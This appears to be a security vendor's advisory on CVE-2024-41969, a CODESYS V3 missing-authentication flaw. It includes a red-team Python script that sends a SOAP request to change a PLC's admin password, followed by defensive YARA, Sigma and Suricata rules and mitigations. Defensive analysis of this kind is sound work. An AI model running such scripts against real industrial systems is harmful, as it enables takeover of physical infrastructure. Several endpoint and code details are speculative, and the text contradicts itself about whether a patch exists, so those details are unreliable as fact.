CVE-2024-41969

Executive Summary

CVE-2024-41969 is a critical missing authentication vulnerability in the CODESYS V3 service, affecting industrial control systems (ICS) and programmable logic controllers (PLCs). A low-privileged remote attacker can modify the service configuration without proper authentication, leading to full system compromise or denial of service (DoS). With a CVSS score of 8.8, this vulnerability poses a severe risk to operational technology (OT) environments. No public proof-of-concept (PoC) or patch is currently available, but the attack vector is network-based and requires low complexity.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the CODESYS V3 runtime system, which is a proprietary software component used in industrial automation. Supply chain risks include compromised firmware updates or third-party integrations that rely on CODESYS.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs initial low-level access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full system access possible.
• Integrity (I): High (H) – Configuration can be modified.
• Availability (A): High (H) – DoS is achievable.

Threat Level: Critical – Exploitation could lead to complete OT network takeover.

Deep Dive & Mechanics

The CODESYS V3 service listens on TCP ports (commonly 8080 or 11740) and handles configuration requests. The vulnerability lies in the authentication mechanism for configuration endpoints. A low-privileged attacker can send crafted HTTP/SOAP requests to modify service parameters (e.g., user accounts, network settings, runtime behavior) without proper credential validation. This is due to missing authentication checks in the configuration API.

Attack Flow:

1. Attacker gains initial low-privileged access (e.g., via default credentials or another vulnerability).
2. Attacker sends a specially crafted SOAP request to the CODESYS V3 service endpoint (e.g., /Configuration).
3. The service processes the request without verifying the user's identity, allowing modification of critical settings.
4. Attacker can escalate privileges, disable security controls, or cause a denial of service.

Root Cause: The service does not enforce authentication for configuration write operations, relying only on network-level access controls.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve adding authentication checks. Below is a conceptual comparison.

Vulnerable Code (C#/SOAP handler):

public void HandleConfigurationRequest(HttpRequest request)
{
    // No authentication check
    var config = ParseRequest(request);
    ApplyConfiguration(config);
}

Patched Code (Hypothetical):

public void HandleConfigurationRequest(HttpRequest request)
{
    if (!AuthenticateUser(request))
    {
        throw new UnauthorizedAccessException();
    }
    var config = ParseRequest(request);
    ApplyConfiguration(config);
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• CODESYS Control for Raspberry Pi (or any CODESYS V3 runtime) on a virtual machine.
• Attacker machine with Python and requests library.

Exploitation Steps:

1. Scan for CODESYS V3 service on port 8080.
2. Use a low-privileged session (e.g., default admin with weak password).
3. Send a malicious SOAP request to modify configuration.

Example Python script:

import requests

target = "http://192.168.1.100:8080/Configuration"
soap_payload = """<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SetConfiguration>
      <Parameter>AdminPassword</Parameter>
      <Value>newpassword123</Value>
    </SetConfiguration>
  </soap:Body>
</soap:Envelope>"""

headers = {"Content-Type": "text/xml"}
response = requests.post(target, data=soap_payload, headers=headers)
print(response.status_code)

Expected Outcome: Configuration change without authentication.

Blue Team (Defender)

Detection Steps:

• Monitor for unexpected SOAP requests to /Configuration endpoint.
• Alert on configuration changes from low-privileged users.
• Use network segmentation to limit access to CODESYS services.

Honeypot Setup:

• Deploy a fake CODESYS service on a decoy network to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • SOAP requests to /Configuration endpoint from unexpected IPs.
  • Unusual HTTP POST requests with XML bodies to port 8080.
• Host IOCs:
  • Modified CODESYS configuration files (e.g., CODESYSControl.cfg).
  • New user accounts or changed passwords in the CODESYS runtime.
• Log IOCs:
  • CODESYS logs showing configuration changes without prior authentication.

Detection Engineering

YARA Rule

rule CVE_2024_41969_CODESYS_Config_Modification
{
    meta:
        description = "Detects SOAP requests targeting CODESYS V3 configuration endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41969"
    strings:
        $soap_action = "SetConfiguration" ascii wide nocase
        $config_path = "/Configuration" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-41969 CODESYS V3 Configuration Modification
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects unauthorized SOAP requests to CODESYS V3 configuration endpoint
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Configuration'
        cs-content-type: 'text/xml'
    condition: selection
falsepositives:
    - Legitimate CODESYS configuration tools
level: high

Suricata Rule

alert http any any -> any 8080 (msg:"CVE-2024-41969 CODESYS V3 Configuration Modification Attempt"; flow:to_server; content:"POST"; http_method; content:"/Configuration"; http_uri; content:"SetConfiguration"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict network access to CODESYS V3 service (port 8080) to trusted IPs only.
2. Implement strong authentication for all configuration endpoints (e.g., API keys, certificates).
3. Monitor logs for unauthorized configuration changes.

Long-term Fix:

• Apply vendor patch when released.
• Upgrade to a patched version of CODESYS V3.
• Use network segmentation and firewalls to isolate OT devices.

Workaround:

• Disable remote configuration if not needed.
• Use VPN or jump hosts for administrative access.

Valters IT
Securing Industrial Environments